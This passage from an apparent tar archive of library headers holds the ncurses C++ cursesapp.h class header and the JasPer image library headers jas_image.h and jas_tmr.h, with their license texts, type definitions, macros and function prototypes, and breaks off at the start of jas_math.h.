MYSQLX_PLUGIN_VERSION_STRING "1.0.2" #endif // _MYSQLX_VERSION_H_ cursesapp.h 0000644 00000015167 15246445046 0006746 0 ustar 00 // * This makes emacs happy -*-Mode: C++;-*- /**************************************************************************** * Copyright (c) 1998-2005,2011 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Juergen Pfeifer, 1997 * ****************************************************************************/ // $Id: cursesapp.h,v 1.12 2011/09/17 22:12:10 tom Exp $ #ifndef NCURSES_CURSESAPP_H_incl #define NCURSES_CURSESAPP_H_incl #include <cursslk.h> class NCURSES_IMPEXP NCursesApplication { public: typedef struct _slk_link { // This structure is used to maintain struct _slk_link* prev; // a stack of SLKs Soft_Label_Key_Set* SLKs; } SLK_Link; private: static int rinit(NCursesWindow& w); // Internal Init function for title static NCursesApplication* theApp; // Global ref. to the application static SLK_Link* slk_stack; protected: static NCursesWindow* titleWindow; // The Title Window (if any) bool b_Colors; // Is this a color application? NCursesWindow* Root_Window; // This is the stdscr equiv. // Initialization of attributes; // Rewrite this in your derived class if you prefer other settings virtual void init(bool bColors); // The number of lines for the title window. Default is no title window // You may rewrite this in your derived class virtual int titlesize() const { return 0; } // This method is called to put something into the title window initially // You may rewrite this in your derived class virtual void title() { } // The layout used for the Soft Label Keys. Default is to have no SLKs. // You may rewrite this in your derived class virtual Soft_Label_Key_Set::Label_Layout useSLKs() const { return Soft_Label_Key_Set::None; } // This method is called to initialize the SLKs. Default is nothing. // You may rewrite this in your derived class virtual void init_labels(Soft_Label_Key_Set& S) const { (void) S; } // Your derived class must implement this method. The return value must // be the exit value of your application. virtual int run() = 0; // The constructor is protected, so you may use it in your derived // class constructor. The argument tells whether or not you want colors. NCursesApplication(bool wantColors = FALSE); NCursesApplication& operator=(const NCursesApplication& rhs) { if (this != &rhs) { *this = rhs; } return *this; } NCursesApplication(const NCursesApplication& rhs) : b_Colors(rhs.b_Colors), Root_Window(rhs.Root_Window) { } public: virtual ~NCursesApplication(); // Get a pointer to the current application object static NCursesApplication* getApplication() { return theApp; } // This method runs the application and returns its exit value int operator()(void); // Process the commandline arguments. The default implementation simply // ignores them. Your derived class may rewrite this. virtual void handleArgs(int argc, char* argv[]) { (void) argc; (void) argv; } // Does this application use colors? inline bool useColors() const { return b_Colors; } // Push the Key Set S onto the SLK Stack. S then becomes the current set // of Soft Labelled Keys. void push(Soft_Label_Key_Set& S); // Throw away the current set of SLKs and make the previous one the // new current set. bool pop(); // Retrieve the current set of Soft Labelled Keys. Soft_Label_Key_Set* top() const; // Attributes to use for menu and forms foregrounds virtual chtype foregrounds() const { return b_Colors ? static_cast<chtype>(COLOR_PAIR(1)) : A_BOLD; } // Attributes to use for menu and forms backgrounds virtual chtype backgrounds() const { return b_Colors ? static_cast<chtype>(COLOR_PAIR(2)) : A_NORMAL; } // Attributes to use for inactive (menu) elements virtual chtype inactives() const { return b_Colors ? static_cast<chtype>(COLOR_PAIR(3)|A_DIM) : A_DIM; } // Attributes to use for (form) labels and SLKs virtual chtype labels() const { return b_Colors ? static_cast<chtype>(COLOR_PAIR(4)) : A_NORMAL; } // Attributes to use for form backgrounds virtual chtype dialog_backgrounds() const { return b_Colors ? static_cast<chtype>(COLOR_PAIR(4)) : A_NORMAL; } // Attributes to use as default for (form) window backgrounds virtual chtype window_backgrounds() const { return b_Colors ? static_cast<chtype>(COLOR_PAIR(5)) : A_NORMAL; } // Attributes to use for the title window virtual chtype screen_titles() const { return b_Colors ? static_cast<chtype>(COLOR_PAIR(6)) : A_BOLD; } }; #endif /* NCURSES_CURSESAPP_H_incl */ jasper/jas_image.h 0000644 00000046053 15246445046 0010142 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2003 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Image Class * * $Id$ */ #ifndef JAS_IMAGE_H #define JAS_IMAGE_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <jasper/jas_stream.h> #include <jasper/jas_seq.h> #include <jasper/jas_cm.h> #include <stdio.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Constants. \******************************************************************************/ /* * Miscellaneous constants. */ /* Basic units */ #define JAS_IMAGE_KIBI (JAS_CAST(size_t, 1024)) #define JAS_IMAGE_MEBI (JAS_IMAGE_KIBI * JAS_IMAGE_KIBI) /* The threshold at which image data is no longer stored in memory. */ #define JAS_IMAGE_INMEMTHRESH (256 * JAS_IMAGE_MEBI) /* * Component types */ #define JAS_IMAGE_CT_UNKNOWN 0x10000 #define JAS_IMAGE_CT_COLOR(n) ((n) & 0x7fff) #define JAS_IMAGE_CT_OPACITY 0x08000 #define JAS_IMAGE_CT_RGB_R 0 #define JAS_IMAGE_CT_RGB_G 1 #define JAS_IMAGE_CT_RGB_B 2 #define JAS_IMAGE_CT_YCBCR_Y 0 #define JAS_IMAGE_CT_YCBCR_CB 1 #define JAS_IMAGE_CT_YCBCR_CR 2 #define JAS_IMAGE_CT_GRAY_Y 0 /******************************************************************************\ * Simple types. \******************************************************************************/ /* Image coordinate. */ typedef int_fast32_t jas_image_coord_t; #define JAS_IMAGE_COORD_MAX INT_FAST32_MAX #define JAS_IMAGE_COORD_MIN INT_FAST32_MIN /* Color space (e.g., RGB, YCbCr). */ typedef int_fast16_t jas_image_colorspc_t; /* Component type (e.g., color, opacity). */ typedef int_fast32_t jas_image_cmpttype_t; /* Component sample data format (e.g., real/integer, signedness, precision). */ typedef int_fast16_t jas_image_smpltype_t; /******************************************************************************\ * Image class and supporting classes. \******************************************************************************/ /* Image component class. */ typedef struct { jas_image_coord_t tlx_; /* The x-coordinate of the top-left corner of the component. */ jas_image_coord_t tly_; /* The y-coordinate of the top-left corner of the component. */ jas_image_coord_t hstep_; /* The horizontal sampling period in units of the reference grid. */ jas_image_coord_t vstep_; /* The vertical sampling period in units of the reference grid. */ jas_image_coord_t width_; /* The component width in samples. */ jas_image_coord_t height_; /* The component height in samples. */ #ifdef FIX_ME int smpltype_; #else int prec_; /* The precision of the sample data (i.e., the number of bits per sample). If the samples are signed values, this quantity includes the sign bit. */ int sgnd_; /* The signedness of the sample data. */ #endif jas_stream_t *stream_; /* The stream containing the component data. */ int cps_; /* The number of characters per sample in the stream. */ jas_image_cmpttype_t type_; /* The type of component (e.g., opacity, red, green, blue, luma). */ } jas_image_cmpt_t; /* Image class. */ typedef struct { jas_image_coord_t tlx_; /* The x-coordinate of the top-left corner of the image bounding box. */ jas_image_coord_t tly_; /* The y-coordinate of the top-left corner of the image bounding box. */ jas_image_coord_t brx_; /* The x-coordinate of the bottom-right corner of the image bounding box (plus one). */ jas_image_coord_t bry_; /* The y-coordinate of the bottom-right corner of the image bounding box (plus one). */ int numcmpts_; /* The number of components. */ int maxcmpts_; /* The maximum number of components that this image can have (i.e., the allocated size of the components array). */ jas_image_cmpt_t **cmpts_; /* Per-component information. */ jas_clrspc_t clrspc_; jas_cmprof_t *cmprof_; // bool inmem_; } jas_image_t; /* Component parameters class. */ /* This data type exists solely/mainly for the purposes of the jas_image_create function. */ typedef struct { jas_image_coord_t tlx; /* The x-coordinate of the top-left corner of the component. */ jas_image_coord_t tly; /* The y-coordinate of the top-left corner of the component. */ jas_image_coord_t hstep; /* The horizontal sampling period in units of the reference grid. */ jas_image_coord_t vstep; /* The vertical sampling period in units of the reference grid. */ jas_image_coord_t width; /* The width of the component in samples. */ jas_image_coord_t height; /* The height of the component in samples. */ #ifdef FIX_ME int smpltype; #else int prec; /* The precision of the component sample data. */ int sgnd; /* The signedness of the component sample data. */ #endif } jas_image_cmptparm_t; /******************************************************************************\ * File format related classes. \******************************************************************************/ #define JAS_IMAGE_MAXFMTS 32 /* The maximum number of image data formats supported. */ /* Image format-dependent operations. */ typedef struct { jas_image_t *(*decode)(jas_stream_t *in, const char *opts); /* Decode image data from a stream. */ int (*encode)(jas_image_t *image, jas_stream_t *out, const char *opts); /* Encode image data to a stream. */ int (*validate)(jas_stream_t *in); /* Determine if stream data is in a particular format. */ } jas_image_fmtops_t; /* Image format information. */ typedef struct { int id; /* The ID for this format. */ char *name; /* The name by which this format is identified. */ char *ext; /* The file name extension associated with this format. */ char *desc; /* A brief description of the format. */ jas_image_fmtops_t ops; /* The operations for this format. */ } jas_image_fmtinfo_t; /******************************************************************************\ * Image operations. \******************************************************************************/ /* Create an image. */ JAS_DLLEXPORT jas_image_t *jas_image_create(int numcmpts, jas_image_cmptparm_t *cmptparms, jas_clrspc_t clrspc); /* Create an "empty" image. */ JAS_DLLEXPORT jas_image_t *jas_image_create0(void); /* Clone an image. */ JAS_DLLEXPORT jas_image_t *jas_image_copy(jas_image_t *image); /* Deallocate any resources associated with an image. */ JAS_DLLEXPORT void jas_image_destroy(jas_image_t *image); /* Get the width of the image in units of the image reference grid. */ #define jas_image_width(image) \ ((image)->brx_ - (image)->tlx_) /* Get the height of the image in units of the image reference grid. */ #define jas_image_height(image) \ ((image)->bry_ - (image)->tly_) /* Get the x-coordinate of the top-left corner of the image bounding box on the reference grid. */ #define jas_image_tlx(image) \ ((image)->tlx_) /* Get the y-coordinate of the top-left corner of the image bounding box on the reference grid. */ #define jas_image_tly(image) \ ((image)->tly_) /* Get the x-coordinate of the bottom-right corner of the image bounding box on the reference grid (plus one). */ #define jas_image_brx(image) \ ((image)->brx_) /* Get the y-coordinate of the bottom-right corner of the image bounding box on the reference grid (plus one). */ #define jas_image_bry(image) \ ((image)->bry_) /* Get the number of image components. */ #define jas_image_numcmpts(image) \ ((image)->numcmpts_) /* Get the color model used by the image. */ #define jas_image_clrspc(image) \ ((image)->clrspc_) /* Set the color model for an image. */ #define jas_image_setclrspc(image, clrspc) \ ((image)->clrspc_ = (clrspc)) #define jas_image_cmpttype(image, cmptno) \ ((image)->cmpts_[(cmptno)]->type_) #define jas_image_setcmpttype(image, cmptno, type) \ ((image)->cmpts_[(cmptno)]->type_ = (type)) /* Get the width of a component. */ #define jas_image_cmptwidth(image, cmptno) \ ((image)->cmpts_[cmptno]->width_) /* Get the height of a component. */ #define jas_image_cmptheight(image, cmptno) \ ((image)->cmpts_[cmptno]->height_) /* Get the signedness of the sample data for a component. */ #define jas_image_cmptsgnd(image, cmptno) \ ((image)->cmpts_[cmptno]->sgnd_) /* Get the precision of the sample data for a component. */ #define jas_image_cmptprec(image, cmptno) \ ((image)->cmpts_[cmptno]->prec_) /* Get the horizontal subsampling factor for a component. */ #define jas_image_cmpthstep(image, cmptno) \ ((image)->cmpts_[cmptno]->hstep_) /* Get the vertical subsampling factor for a component. */ #define jas_image_cmptvstep(image, cmptno) \ ((image)->cmpts_[cmptno]->vstep_) /* Get the x-coordinate of the top-left corner of a component. */ #define jas_image_cmpttlx(image, cmptno) \ ((image)->cmpts_[cmptno]->tlx_) /* Get the y-coordinate of the top-left corner of a component. */ #define jas_image_cmpttly(image, cmptno) \ ((image)->cmpts_[cmptno]->tly_) /* Get the x-coordinate of the bottom-right corner of a component (plus "one"). */ #define jas_image_cmptbrx(image, cmptno) \ ((image)->cmpts_[cmptno]->tlx_ + (image)->cmpts_[cmptno]->width_ * \ (image)->cmpts_[cmptno]->hstep_) /* Get the y-coordinate of the bottom-right corner of a component (plus "one"). */ #define jas_image_cmptbry(image, cmptno) \ ((image)->cmpts_[cmptno]->tly_ + (image)->cmpts_[cmptno]->height_ * \ (image)->cmpts_[cmptno]->vstep_) // Test if all components are specified at the same positions in space. */ JAS_DLLEXPORT bool jas_image_cmpt_domains_same(jas_image_t *image); /* Get the raw size of an image (i.e., the nominal size of the image without any compression. */ JAS_DLLEXPORT uint_fast32_t jas_image_rawsize(jas_image_t *image); /* Create an image from a stream in some specified format. */ JAS_DLLEXPORT jas_image_t *jas_image_decode(jas_stream_t *in, int fmt, const char *optstr); /* Write an image to a stream in a specified format. */ JAS_DLLEXPORT int jas_image_encode(jas_image_t *image, jas_stream_t *out, int fmt, const char *optstr); /* Read a rectangular region of an image component. */ /* The position and size of the rectangular region to be read is specified relative to the component's coordinate system. */ JAS_DLLEXPORT int jas_image_readcmpt(jas_image_t *image, int cmptno, jas_image_coord_t x, jas_image_coord_t y, jas_image_coord_t width, jas_image_coord_t height, jas_matrix_t *data); /* Write a rectangular region of an image component. */ JAS_DLLEXPORT int jas_image_writecmpt(jas_image_t *image, int cmptno, jas_image_coord_t x, jas_image_coord_t y, jas_image_coord_t width, jas_image_coord_t height, jas_matrix_t *data); /* Delete a component from an image. */ JAS_DLLEXPORT void jas_image_delcmpt(jas_image_t *image, int cmptno); /* Add a component to an image. */ JAS_DLLEXPORT int jas_image_addcmpt(jas_image_t *image, int cmptno, jas_image_cmptparm_t *cmptparm); /* Copy a component from one image to another. */ JAS_DLLEXPORT int jas_image_copycmpt(jas_image_t *dstimage, int dstcmptno, jas_image_t *srcimage, int srccmptno); #define JAS_IMAGE_CDT_GETSGND(dtype) (((dtype) >> 7) & 1) #define JAS_IMAGE_CDT_SETSGND(dtype) (((dtype) & 1) << 7) #define JAS_IMAGE_CDT_GETPREC(dtype) ((dtype) & 0x7f) #define JAS_IMAGE_CDT_SETPREC(dtype) ((dtype) & 0x7f) #define jas_image_cmptdtype(image, cmptno) \ (JAS_IMAGE_CDT_SETSGND((image)->cmpts_[cmptno]->sgnd_) | JAS_IMAGE_CDT_SETPREC((image)->cmpts_[cmptno]->prec_)) JAS_DLLEXPORT int jas_image_depalettize(jas_image_t *image, int cmptno, int numlutents, int_fast32_t *lutents, int dtype, int newcmptno); JAS_DLLEXPORT int jas_image_readcmptsample(jas_image_t *image, int cmptno, int x, int y); JAS_DLLEXPORT void jas_image_writecmptsample(jas_image_t *image, int cmptno, int x, int y, int_fast32_t v); JAS_DLLEXPORT int jas_image_getcmptbytype(jas_image_t *image, int ctype); /******************************************************************************\ * Image format-related operations. \******************************************************************************/ /* Clear the table of image formats. */ JAS_DLLEXPORT void jas_image_clearfmts(void); /* Add entry to table of image formats. */ JAS_DLLEXPORT int jas_image_addfmt(int id, char *name, char *ext, char *desc, jas_image_fmtops_t *ops); /* Get the ID for the image format with the specified name. */ JAS_DLLEXPORT int jas_image_strtofmt(char *s); /* Get the name of the image format with the specified ID. */ JAS_DLLEXPORT char *jas_image_fmttostr(int fmt); /* Lookup image format information by the format ID. */ JAS_DLLEXPORT jas_image_fmtinfo_t *jas_image_lookupfmtbyid(int id); /* Lookup image format information by the format name. */ JAS_DLLEXPORT jas_image_fmtinfo_t *jas_image_lookupfmtbyname(const char *name); /* Guess the format of an image file based on its name. */ JAS_DLLEXPORT int jas_image_fmtfromname(char *filename); /* Get the format of image data in a stream. */ JAS_DLLEXPORT int jas_image_getfmt(jas_stream_t *in); #define jas_image_cmprof(image) ((image)->cmprof_) int jas_image_ishomosamp(jas_image_t *image); int jas_image_sampcmpt(jas_image_t *image, int cmptno, int newcmptno, jas_image_coord_t ho, jas_image_coord_t vo, jas_image_coord_t hs, jas_image_coord_t vs, int sgnd, int prec); int jas_image_writecmpt2(jas_image_t *image, int cmptno, jas_image_coord_t x, jas_image_coord_t y, jas_image_coord_t width, jas_image_coord_t height, long *buf); int jas_image_readcmpt2(jas_image_t *image, int cmptno, jas_image_coord_t x, jas_image_coord_t y, jas_image_coord_t width, jas_image_coord_t height, long *buf); #define jas_image_setcmprof(image, cmprof) ((image)->cmprof_ = cmprof) JAS_DLLEXPORT jas_image_t *jas_image_chclrspc(jas_image_t *image, jas_cmprof_t *outprof, int intent); void jas_image_dump(jas_image_t *image, FILE *out); /******************************************************************************\ * Image format-dependent operations. \******************************************************************************/ #if !defined(EXCLUDE_JPG_SUPPORT) /* Format-dependent operations for JPG support. */ jas_image_t *jpg_decode(jas_stream_t *in, const char *optstr); int jpg_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int jpg_validate(jas_stream_t *in); #endif #if !defined(EXCLUDE_MIF_SUPPORT) /* Format-dependent operations for MIF support. */ jas_image_t *mif_decode(jas_stream_t *in, const char *optstr); int mif_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int mif_validate(jas_stream_t *in); #endif #if !defined(EXCLUDE_PNM_SUPPORT) /* Format-dependent operations for PNM support. */ jas_image_t *pnm_decode(jas_stream_t *in, const char *optstr); int pnm_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int pnm_validate(jas_stream_t *in); #endif #if !defined(EXCLUDE_RAS_SUPPORT) /* Format-dependent operations for Sun Rasterfile support. */ jas_image_t *ras_decode(jas_stream_t *in, const char *optstr); int ras_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int ras_validate(jas_stream_t *in); #endif #if !defined(EXCLUDE_BMP_SUPPORT) /* Format-dependent operations for BMP support. */ jas_image_t *bmp_decode(jas_stream_t *in, const char *optstr); int bmp_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int bmp_validate(jas_stream_t *in); #endif #if !defined(EXCLUDE_JP2_SUPPORT) /* Format-dependent operations for JP2 support. */ jas_image_t *jp2_decode(jas_stream_t *in, const char *optstr); int jp2_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int jp2_validate(jas_stream_t *in); #endif #if !defined(EXCLUDE_JPC_SUPPORT) /* Format-dependent operations for JPEG-2000 code stream support. */ jas_image_t *jpc_decode(jas_stream_t *in, const char *optstr); int jpc_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int jpc_validate(jas_stream_t *in); #endif #if !defined(EXCLUDE_PGX_SUPPORT) /* Format-dependent operations for PGX support. */ jas_image_t *pgx_decode(jas_stream_t *in, const char *optstr); int pgx_encode(jas_image_t *image, jas_stream_t *out, const char *optstr); int pgx_validate(jas_stream_t *in); #endif #ifdef __cplusplus } #endif #endif jasper/jas_tmr.h 0000644 00000007232 15246445046 0007656 0 ustar 00 /* * Copyright (c) 2004 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ #ifndef JAS_TMR_H #define JAS_TMR_H /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include<time.h> #if defined(JAS_HAVE_SYS_TIME_H) #include <sys/time.h> #endif #ifdef __cplusplus extern "C" { #endif #if defined(JAS_HAVE_GETTIMEOFDAY) typedef struct { struct timeval start; struct timeval stop; } jas_tmr_t; #elif defined(JAS_HAVE_GETRUSAGE) typedef struct { struct rusage start; struct rusage stop; } jas_tmr_t; #else typedef int jas_tmr_t; #endif JAS_DLLEXPORT void jas_tmr_start(jas_tmr_t *tmr); JAS_DLLEXPORT void jas_tmr_stop(jas_tmr_t *tmr); JAS_DLLEXPORT double jas_tmr_get(jas_tmr_t *tmr); #ifdef __cplusplus } #endif #endif jasper/jas_math.h 0000644 00000021645 15246445046 0010011 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Math-Related Code * * $Id$ */ #ifndef JAS_MATH_H #define JAS_MATH_H /******************************************************************************\ * Includes \******************************************************************************/ /* The configuration header file should be included first. */ #include 